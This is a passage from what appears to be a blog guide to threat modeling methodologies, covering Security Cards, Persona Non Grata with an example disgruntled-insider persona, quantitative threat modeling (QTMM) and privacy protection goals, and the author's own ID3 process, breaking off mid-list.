&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://securitycards.cs.washington.edu/index.html&quot;&gt;Security Cards&lt;/a&gt;&lt;/strong&gt; is a &lt;em&gt;threat generation&lt;/em&gt; (or “&lt;em&gt;Threat Brainstorming&lt;/em&gt;”, as the authors have referred to it) toolkit, originating from the &lt;a href=&quot;https://www.washington.edu&quot;&gt;University of Washington&lt;/a&gt;, consisting of &lt;strong&gt;42&lt;/strong&gt; distinct “threat” cards across &lt;strong&gt;4&lt;/strong&gt; unique “&lt;a href=&quot;http://securitycards.cs.washington.edu/cards.html&quot;&gt;suits&lt;/a&gt;” (detailed below). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;27&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Human Impact&lt;/strong&gt; - Describes the impacts that &lt;em&gt;actual&lt;/em&gt; humans may experience as a result of a successful attack.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Adversary Motivations&lt;/strong&gt; - Effectively, the “intent” characteristic of a &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;cyber threat&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Adversary Resources&lt;/strong&gt; - As introduced by the &lt;a href=&quot;https://warnerchad.medium.com/diamond-model-for-cti-5aba5ba5585&quot;&gt;Diamond Model&lt;/a&gt; in the &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt; section, this represents an adversary’s available infrastructure used to facilitate an attack.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Adversary Methods&lt;/strong&gt; - Consider these the &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;capabilities&lt;/a&gt; or &lt;a href=&quot;https://attack.mitre.org&quot;&gt;TTPs&lt;/a&gt; an attacker leverages to conduct an attack.&lt;/li&gt;
&lt;/ul&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/security-cards.png&quot; alt=&quot;Security Cards&quot; /&gt;&lt;/center&gt;

&lt;p&gt;So how are these cards used? &lt;em&gt;Well&lt;/em&gt;, the &lt;a href=&quot;http://securitycards.cs.washington.edu/index.html&quot;&gt;official site&lt;/a&gt; for &lt;strong&gt;Security Cards&lt;/strong&gt; provides a number of &lt;a href=&quot;http://securitycards.cs.washington.edu/activities.html&quot;&gt;activities&lt;/a&gt; that can be exercised, all in the spirit of threat generation. In the absence of having a large, dedicated security function who has time to allocate appropriate resources to conduct threat modeling, Security Cards serves an alternative way to harness the creativity and brainstorming power of non-security personnel to perform threat generation and modeling instead. This can be particularly effective as you are able to introduce new, wide-ranging perspectives into the threat generation process.&lt;/p&gt;

&lt;h4 id=&quot;persona-non-grata-png&quot;&gt;Persona Non Grata (PnG)&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Persona Non Grata&lt;/strong&gt; (&lt;strong&gt;&lt;a href=&quot;https://ieeexplore.ieee.org/stamp/stamp.jsp?arnumber=6834694&quot;&gt;PnG&lt;/a&gt;&lt;/strong&gt;) is a &lt;em&gt;threat generation&lt;/em&gt; technique posited by &lt;a href=&quot;https://www.linkedin.com/in/jane-cleland-huang-2786224/&quot;&gt;Jane Cleland-Huang&lt;/a&gt; during her time as a software engineering professor at &lt;a href=&quot;https://www.cdm.depaul.edu/academics/Pages/MS-in-Software-Engineering.aspx&quot;&gt;DePaul University&lt;/a&gt; (&lt;em&gt;~2014&lt;/em&gt;). She suggested that we describe potential threat actors as archetypical users of a system that may have mischievous or even explicitly malicious end-goals. By visualizing and describing these &lt;em&gt;personas&lt;/em&gt;, the real-world motivations and possible &lt;em&gt;misuse cases&lt;/em&gt; (&lt;a href=&quot;#the-stages-of-qtmm&quot;&gt;QTMM: Stage 3&lt;/a&gt;) of these &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Persona_non_grata&quot;&gt;unwelcome individuals&lt;/a&gt;&lt;/em&gt; could be developed, which would then help illuminate potential attack vectors and vulnerabilities. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;29&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;PnG&lt;/strong&gt; exercise is useful as it gives &lt;em&gt;anyone&lt;/em&gt; involved in the development, or securing of a system, the opportunity to think critically about the types of actors that may target a system, the specific goals they may wish to achieve and the actions they would take to achieve those goals. In the absence of reliable &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;threat intelligence&lt;/a&gt;, PnG can be a useful mechanism for producing more realistic attack scenarios compared to something like &lt;a href=&quot;#trike-threat-model&quot;&gt;Trike’s threat generation&lt;/a&gt; approach which is to enumerate &lt;em&gt;ALL&lt;/em&gt; abuse cases, no matter how realistic. An example persona is described below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;25&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;h6 id=&quot;example-png-threat-persona&quot;&gt;Example PnG Threat Persona&lt;/h6&gt;

&lt;blockquote&gt;
  &lt;p&gt;“John” is a senior developer within your company. He has been with the company for almost 10 years and has been unhappy with recent changes within the engineering organization. His work velocity has notably slowed in recent weeks and has become more visibly disgruntled as a result of recent encounters with new leadership and having received less meaning project assignments.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Some &lt;strong&gt;misuse&lt;/strong&gt; cases given Johns &lt;em&gt;persona&lt;/em&gt; are as follows…&lt;/p&gt;
  &lt;ol&gt;
    &lt;li&gt;Baking a &lt;em&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Logic_bomb&quot;&gt;logic bomb&lt;/a&gt;&lt;/em&gt; into enterprise code or systems.&lt;/li&gt;
    &lt;li&gt;Purposefully injecting other forms of malicious code into a production branch.&lt;/li&gt;
    &lt;li&gt;Taking secrets to a competitor.&lt;/li&gt;
    &lt;li&gt;Introducing sloppy code as a result of sheer disinterest.&lt;/li&gt;
    &lt;li&gt;Selling access to corporate infrastructure to an &lt;em&gt;&lt;a href=&quot;https://www.digitalshadows.com/blog-and-research/rise-of-initial-access-brokers/&quot;&gt;initial access broker&lt;/a&gt;&lt;/em&gt;.&lt;/li&gt;
  &lt;/ol&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;The &lt;strong&gt;goals&lt;/strong&gt; for John could be the following…&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;“Get back” at leadership who he disagrees with or those he feels have “wronged him”.&lt;/li&gt;
    &lt;li&gt;Leave the organization and take trade secrets, data or other assets to a competitor.&lt;/li&gt;
    &lt;li&gt;Make money by selling data, secrets or access to the organizations infrastructure.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;As a skilled developer, John’s capabilities include…&lt;/p&gt;
  &lt;ul&gt;
    &lt;li&gt;Strong development and technical prowess.&lt;/li&gt;
    &lt;li&gt;Privileged access to source code repositories, production systems and highly-classified data.&lt;/li&gt;
    &lt;li&gt;Deep institutional knowledge.&lt;/li&gt;
    &lt;li&gt;One of few individuals within the company who understand how certain systems operate and their architecture.&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;quantitative-threat-modeling-qtmm&quot;&gt;Quantitative Threat Modeling (QTMM)&lt;/h2&gt;

&lt;p&gt;A &lt;strong&gt;Quantitative Threat Modeling Methodology&lt;/strong&gt; (&lt;strong&gt;QTMM&lt;/strong&gt;) can be described as a &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; methodology that leverages the measurable characteristics of &lt;a href=&quot;#attack-trees&quot;&gt;attack tree&lt;/a&gt; elements to &lt;em&gt;quantitatively&lt;/em&gt; calculate and prioritize the impact and risk of threats to a system. Such a methodology was published by German researchers from the &lt;a href=&quot;https://www.tu-darmstadt.de&quot;&gt;Technische Universitat Darmstadt&lt;/a&gt; and &lt;a href=&quot;https://www.goethe-university-frankfurt.de/&quot;&gt;Goethe Universitat Frankfurt am Main&lt;/a&gt; universities, titled “&lt;em&gt;&lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.348.6943&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;Privacy-by-Design Based on Quantitative Threat Modeling&lt;/a&gt;&lt;/em&gt;”. This research debuts a &lt;em&gt;privacy&lt;/em&gt;-focused variant of quantitative threat modeling and introduces the following novel features. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;26&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;A &lt;em&gt;quantitative methodology&lt;/em&gt; designed to systematically elicit both &lt;em&gt;security&lt;/em&gt; and &lt;em&gt;privacy&lt;/em&gt; requirements, by iteratively tuning the risk associated with identified threats and attacks.&lt;/li&gt;
  &lt;li&gt;A comprehensive set of quantifiable security and privacy (a.k.a. “S&amp;amp;P”) threats based on the “&lt;strong&gt;&lt;a href=&quot;#privacy-protection-goals-ppgs&quot;&gt;Privacy Protection Goals&lt;/a&gt;&lt;/strong&gt;” (&lt;strong&gt;PPGs&lt;/strong&gt;), which have proved well-suited for &lt;em&gt;qualitatively&lt;/em&gt; evaluating risks.&lt;/li&gt;
  &lt;li&gt;A set of rules to quantitatively aggregate &lt;em&gt;into&lt;/em&gt; an &lt;a href=&quot;#attack-trees&quot;&gt;attack tree&lt;/a&gt; the risks associated with individual attacks.&lt;/li&gt;
&lt;/ol&gt;

&lt;h5 id=&quot;the-stages-of-qtmm&quot;&gt;The Stages of QTMM&lt;/h5&gt;

&lt;p&gt;&lt;a href=&quot;#quantitative-threat-modeling-qtmm&quot;&gt;QTMM&lt;/a&gt; as described by &lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.348.6943&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;this research&lt;/a&gt; is comprised of a &lt;strong&gt;5&lt;/strong&gt;-stage process which combines &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;, &lt;a href=&quot;#privacy-protection-goals-ppgs&quot;&gt;PPG&lt;/a&gt; and &lt;em&gt;quantifiable&lt;/em&gt; &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt; to deliver &lt;em&gt;privacy-by-design&lt;/em&gt; (“PbD”) within the early phases of the &lt;a href=&quot;https://www.synopsys.com/blogs/software-security/secure-sdlc/&quot;&gt;SDL&lt;/a&gt;. These stages are depicted below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;26&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/qtmm-process-flow.png&quot; alt=&quot;QTMM Process Flow&quot; /&gt;&lt;/center&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stage 1: Define the DFD&lt;/strong&gt; - Produce a standard &lt;a href=&quot;#data-flow-diagram&quot;&gt;data flow diagram&lt;/a&gt; (DFD) of the system.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stage 2: Map DFD to S&amp;amp;P Threats&lt;/strong&gt; - Map threats to the various elements (e.g. data store, data flow, process, entity) of the created model - for example, by leveraging &lt;a href=&quot;#stride&quot;&gt;STRIDE&lt;/a&gt;. In addition to the traditional &lt;em&gt;security&lt;/em&gt;-related threats, &lt;a href=&quot;#quantitative-threat-modeling-qtmm&quot;&gt;QTMM&lt;/a&gt; also presents &lt;a href=&quot;#privacy-protection-goals-ppgs&quot;&gt;privacy-specific threats&lt;/a&gt; that should also be accommodated within the matrix. An example of such a mapping is provided below.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Security Property&lt;/th&gt;
      &lt;th&gt;Threat&lt;/th&gt;
      &lt;th&gt;Explanation&lt;/th&gt;
      &lt;th&gt;DS&lt;/th&gt;
      &lt;th&gt;DF&lt;/th&gt;
      &lt;th&gt;P&lt;/th&gt;
      &lt;th&gt;E&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Confidentiality&lt;/td&gt;
      &lt;td&gt;Information Disclosure&lt;/td&gt;
      &lt;td&gt;…&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;…&lt;/td&gt;
      &lt;td&gt;…&lt;/td&gt;
      &lt;td&gt;…&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
      &lt;td&gt;X&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stage 3: Identify Misuse Cases&lt;/strong&gt; - &lt;em&gt;Misuse cases&lt;/em&gt; are documented by capturing the following information - &lt;em&gt;summary&lt;/em&gt; / &lt;em&gt;threat description&lt;/em&gt;, &lt;em&gt;target asset&lt;/em&gt;, &lt;em&gt;misactor description&lt;/em&gt;, &lt;em&gt;attack tree&lt;/em&gt;, &lt;em&gt;attack preconditions&lt;/em&gt; and &lt;em&gt;mitigation mechanisms&lt;/em&gt;. This is done in similar fashion to the &lt;a href=&quot;#linddun&quot;&gt;LINDDUN&lt;/a&gt; methodology, which also suggests the formulation of &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt; to visualize these threats.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stage 4: Risk-Based Quantification of Attack Trees&lt;/strong&gt; - This stage represents the &lt;em&gt;essence&lt;/em&gt; of QTMM, the goal of which is to provide a quantitative score for a threat tree based on the aggregate score of its collective attack paths. This particular methodology recommends the use of &lt;a href=&quot;#dread&quot;&gt;DREAD&lt;/a&gt; to quantitatively score and then prioritize attacks within the tree. For more details on the formulas for performing these calculations, I recommend referencing &lt;strong&gt;Section II:D&lt;/strong&gt; (i.e., &lt;em&gt;Stage 4: Risk-based Quantification of Attack Trees&lt;/em&gt;) of the &lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.348.6943&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;QTMM research paper&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Stage 5: Produce S&amp;amp;P Requirements&lt;/strong&gt; - Elicit &lt;a href=&quot;#control-frameworks&quot;&gt;mitigation controls&lt;/a&gt; and security requirements to mitigate identified risks. Refine &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt; by re-calculating the risk score given the implementation of the proposed countermeasure. Add new attack paths (as applicable) if the introduction of a security control results in new &lt;em&gt;&lt;a href=&quot;#pasta-stage-6-attack-modeling&quot;&gt;attack surface&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h6 id=&quot;privacy-protection-goals-ppgs&quot;&gt;Privacy Protection Goals (PPGs)&lt;/h6&gt;
&lt;p&gt;&lt;strong&gt;Privacy Protection Goals&lt;/strong&gt; (“&lt;strong&gt;PPGs&lt;/strong&gt;”) are the basic set of security properties derived from the &lt;a href=&quot;https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=celex%3A31995L0046&quot;&gt;EU Data Protection Directive&lt;/a&gt; (Directive 95/46/EC). They resemble the &lt;a href=&quot;#linddun-threat-categories&quot;&gt;LINDDUN threat categories&lt;/a&gt;. The PPGs are defined below. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;26&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Unlinkability&lt;/strong&gt;: Data processing is conducted such that privacy-relevant data is &lt;em&gt;unlinkable&lt;/em&gt; to any other set of privacy-relevant data outside of the domain, or at least that the implementation of such linking would require disproportionate efforts for the entity establishing such linkage.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Transparency&lt;/strong&gt;: All parties involved in any privacy-relevant data processing can &lt;em&gt;comprehend&lt;/em&gt; the legal, technical and organizational conditions.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Intervenability&lt;/strong&gt;: The parties involved in any privacy-relevant data processing, including the individual whose personal data is being processed, have the capability to &lt;em&gt;intervene&lt;/em&gt;, where necessary.&lt;/li&gt;
&lt;/ul&gt;

&lt;h4 id=&quot;thoughts-on-this-version-of-a-qtmm&quot;&gt;Thoughts on this Version of a QTMM&lt;/h4&gt;
&lt;p&gt;Below I provide a list of thoughts and observations related to the &lt;strong&gt;quantitative threat modeling methodology&lt;/strong&gt; (&lt;strong&gt;&lt;a href=&quot;#quantitative-threat-modeling-qtmm&quot;&gt;QTMM&lt;/a&gt;&lt;/strong&gt;) presented &lt;a href=&quot;https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.348.6943&amp;amp;rep=rep1&amp;amp;type=pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Great idea to consider both security &lt;em&gt;and&lt;/em&gt; privacy threats while performing threat modeling. &lt;em&gt;&lt;a href=&quot;#id3&quot;&gt;How novel&lt;/a&gt;&lt;/em&gt;!&lt;/li&gt;
  &lt;li&gt;“&lt;em&gt;How can we make threat modeling more fun?&lt;/em&gt;”. &lt;strong&gt;MATH&lt;/strong&gt;!&lt;/li&gt;
  &lt;li&gt;QTMM suggests the use of the &lt;a href=&quot;https://sourceforge.net/projects/seamonster/?source=navbar&quot;&gt;SeaMonster&lt;/a&gt; security modeling tool to assist with &lt;a href=&quot;#attack-trees&quot;&gt;attack trees&lt;/a&gt; and &lt;a href=&quot;#the-stages-of-qtmm&quot;&gt;misuse case&lt;/a&gt; modeling.&lt;/li&gt;
  &lt;li&gt;Its reliance on a &lt;a href=&quot;https://docs.microsoft.com/en-us/archive/blogs/david_leblanc/dreadful&quot;&gt;notably flawed&lt;/a&gt; model like &lt;a href=&quot;#dread&quot;&gt;DREAD&lt;/a&gt; is worrisome. That said, swapping DREAD out for a more worthy risk scoring model could take QTMM to the next level. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;28&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;hr width=&quot;33%&quot; /&gt;

&lt;h2 id=&quot;id3&quot;&gt;ID&lt;sup&gt;3&lt;/sup&gt;&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;ID&lt;sup&gt;3&lt;/sup&gt;&lt;/strong&gt; is a new(&lt;em&gt;ish&lt;/em&gt;) &lt;a href=&quot;#intro-to-threat-modeling&quot;&gt;threat modeling&lt;/a&gt; methodology created by &lt;em&gt;&lt;a href=&quot;https://shellsharks.com/about?about=infosec&quot;&gt;yours truly&lt;/a&gt;&lt;/em&gt;. So what does ID&lt;sup&gt;3&lt;/sup&gt; bring to the table that other, more established methodologies don’t? &lt;em&gt;Nothing really&lt;/em&gt;, I just thought it would be cool to come up with my own methodology and give it a cool acronym (&lt;em&gt;and I think I succeeded&lt;/em&gt;). Jokes aside, this &lt;em&gt;is&lt;/em&gt; in fact the threat modeling recipe I personally use, with influences from some of the other &lt;a href=&quot;#methodologies&quot;&gt;methodologies&lt;/a&gt; that have been presented here in this guide. What ID&lt;sup&gt;3&lt;/sup&gt; brings to the table is a repeatable, scalable methodology that incorporates &lt;em&gt;exactly&lt;/em&gt; the elements most useful for my threat modeling style. The high-level steps (&lt;em&gt;and noted influences&lt;/em&gt;) for ID&lt;sup&gt;3&lt;/sup&gt; are presented below.&lt;/p&gt;

&lt;center&gt;&lt;img src=&quot;https://shellsharks-images.s3.amazonaws.com/2022/threatmodel/id3.png&quot; alt=&quot;ID3 Process Flow&quot; /&gt;&lt;/center&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Inventory System Components&lt;/strong&gt; - Define the technical scope by building a system component inventory. This ends up being a mix of &lt;em&gt;&lt;a href=&quot;#pasta-stage-2-define-technical-scope&quot;&gt;PASTA Stage 2&lt;/a&gt;&lt;/em&gt;, &lt;em&gt;&lt;a href=&quot;#the-phases--processes-of-octave&quot;&gt;Phase 2: Process 5 of OCTAVE&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;#owasp-threat-modeling-process&quot;&gt;OWASP TMP Step 1&lt;/a&gt;&lt;/em&gt; (&lt;em&gt;just&lt;/em&gt; the component-ID’ing step). &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;13&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;22&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Diagram Architecture&lt;/strong&gt; - Model the system, creating a &lt;em&gt;&lt;a href=&quot;#data-flow-diagram&quot;&gt;DFD&lt;/a&gt;&lt;/em&gt; for visualization. Here I’m going with the equivalent of &lt;em&gt;&lt;a href=&quot;#microsoft-threat-modeling-steps&quot;&gt;Microsoft’s “Diagram” step&lt;/a&gt;&lt;/em&gt;, or &lt;em&gt;&lt;a href=&quot;#trike-implementation-model&quot;&gt;Trike’s Implementation Model&lt;/a&gt;&lt;/em&gt;, scratching the laborious &lt;em&gt;&lt;a href=&quot;#use-flow-map&quot;&gt;use flow&lt;/a&gt;&lt;/em&gt; generation and holding the &lt;em&gt;security control decomposition&lt;/em&gt; until &lt;strong&gt;Step 4&lt;/strong&gt;. This also takes on the “&lt;strong&gt;Visual&lt;/strong&gt;” quality of &lt;a href=&quot;#principles-of-vast&quot;&gt;VAST&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;3&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;14&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;17&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Identify Threats&lt;/strong&gt; - Develop a list of realistic &lt;em&gt;threats&lt;/em&gt; using a &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt;-infused version of &lt;em&gt;&lt;a href=&quot;#iddilatc-discovery-phase-iddil&quot;&gt;Steps 4 + 5 of the IDDIL/ATC Discovery Phase&lt;/a&gt;&lt;/em&gt; (&lt;strong&gt;threat profiles&lt;/strong&gt; &amp;amp; &lt;strong&gt;attack trees&lt;/strong&gt; &lt;em&gt;optional&lt;/em&gt;). I also make sure to include &lt;em&gt;privacy&lt;/em&gt;-related threats &lt;em&gt;ala&lt;/em&gt; &lt;a href=&quot;#linddun-threat-categories&quot;&gt;LINDDUN&lt;/a&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;15&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Decompose Application&lt;/strong&gt; - With sub-systems, data flows and potential threats identified, I begin to &lt;em&gt;decompose&lt;/em&gt; the application, generating a list of applicable &lt;a href=&quot;#control-frameworks&quot;&gt;security controls&lt;/a&gt; (i.e. &lt;a href=&quot;https://owasp.org/www-project-application-security-verification-standard/&quot;&gt;OWASP ASVS&lt;/a&gt;), and then applying them as visual overlays at the points where they have effect(s) within the system architecture. For this, I’m relying on the &lt;em&gt;&lt;a href=&quot;#trike-implementation-model&quot;&gt;Trike Implementation Model&lt;/a&gt;&lt;/em&gt; and &lt;em&gt;&lt;a href=&quot;#data-centric-system-threat-modeling-steps&quot;&gt;Step 3 of NIST’s Data-Centric TMM&lt;/a&gt;&lt;/em&gt;. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;14&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;21&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;While proposing potential controls, I stay mindful of the negative qualities any given control may have on the system or organization (also per &lt;em&gt;&lt;a href=&quot;#data-centric-system-threat-modeling-steps&quot;&gt;Step 3 of NIST’s Data-Centric TMM&lt;/a&gt;&lt;/em&gt;).  &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;21&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;* Note&lt;/strong&gt;: Steps &lt;em&gt;3&lt;/em&gt; and &lt;em&gt;4&lt;/em&gt; could &lt;em&gt;technically&lt;/em&gt; be switched here with no meaningful effect on the outcome. If you were to perform &lt;em&gt;step 4&lt;/em&gt; first you might in theory be able to rule out certain threats in the &lt;em&gt;Identify Threats&lt;/em&gt; step. By doing this though, you might exclude certain threats without really giving them the proper analysis they deserve in the &lt;em&gt;upcoming&lt;/em&gt; step. &lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;Illustrate Threats&lt;/strong&gt; - Leveraging our known technical scope, application decomposition, available &lt;a href=&quot;#cyber-threat-intelligence-cti&quot;&gt;CTI&lt;/a&gt; and imported &lt;a href=&quot;#attack-libraries&quot;&gt;attack libraries&lt;/a&gt;, I now build/analyze &lt;em&gt;attack scenarios&lt;/em&gt; (from &lt;em&gt;&lt;a href=&quot;#pasta-stage-4-threat-analysis&quot;&gt;PASTA Stage 4&lt;/a&gt;&lt;/em&gt;), and then perform &lt;em&gt;attack surface analysis&lt;/em&gt; and &lt;a href=&quot;#attack-trees&quot;&gt;attack tree&lt;/a&gt; mapping (both from &lt;em&gt;&lt;a href=&quot;#pasta-stage-6-attack-modeling&quot;&gt;PASTA Stage 6&lt;/a&gt;&lt;/em&gt;). The preferred way to illustrate threats alogside the identified controls and system components is to produce an &lt;em&gt;architectural rendering&lt;/em&gt;, per the &lt;em&gt;&lt;a href=&quot;#iddilatc-controls-implementation&quot;&gt;IDDIL/ATC Controls Implementation Step&lt;/a&gt;&lt;/em&gt;. Once again, this step adheres to the &lt;a href=&quot;#principles-of-vast&quot;&gt;VAST&lt;/a&gt; &lt;em&gt;visual&lt;/em&gt; principle. &lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;6&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;17&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;sup&gt;,&lt;/sup&gt;&lt;strong&gt;&lt;a href=&quot;#references&quot;&gt;&lt;sup&gt;24&lt;/sup&gt;&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Document Risk&lt;/strong&gt; - Create a risk-prioritized list of findings based on probabilistic attack scenarios, expected impacts and the understanding of what &lt;a href=&quot;#control-frameworks&quot;&gt;defensive controls&lt;/a&gt; are in place. A simple risk-scoring system such as &lt;a href=&quot;https://nvd.nist.gov/vuln-metrics/cvss&quot;&gt;CVSS&lt;/a&gt; may be used here. This step of ID&lt;sup&gt;3&lt;/sup&gt; is going to most resemble &lt;em&gt;&lt;a href=&quot;#pasta-stage-7-risk--impact-analysis&quot;&gt;PASTA Stage 7&lt;/a&gt;&lt;/em&gt;, just with simplified inputs and outputs. I also remember to re-factor the risk of threats based on the proposed countermeasures, similar to what is described in &lt;em&gt;&lt;a href=&quot;#the-stages-of-qtmm&quot;&gt;Stage 4 of QTMM&lt;/a&gt;&lt;/em&gt;. &lt;strong&gt;&lt;a 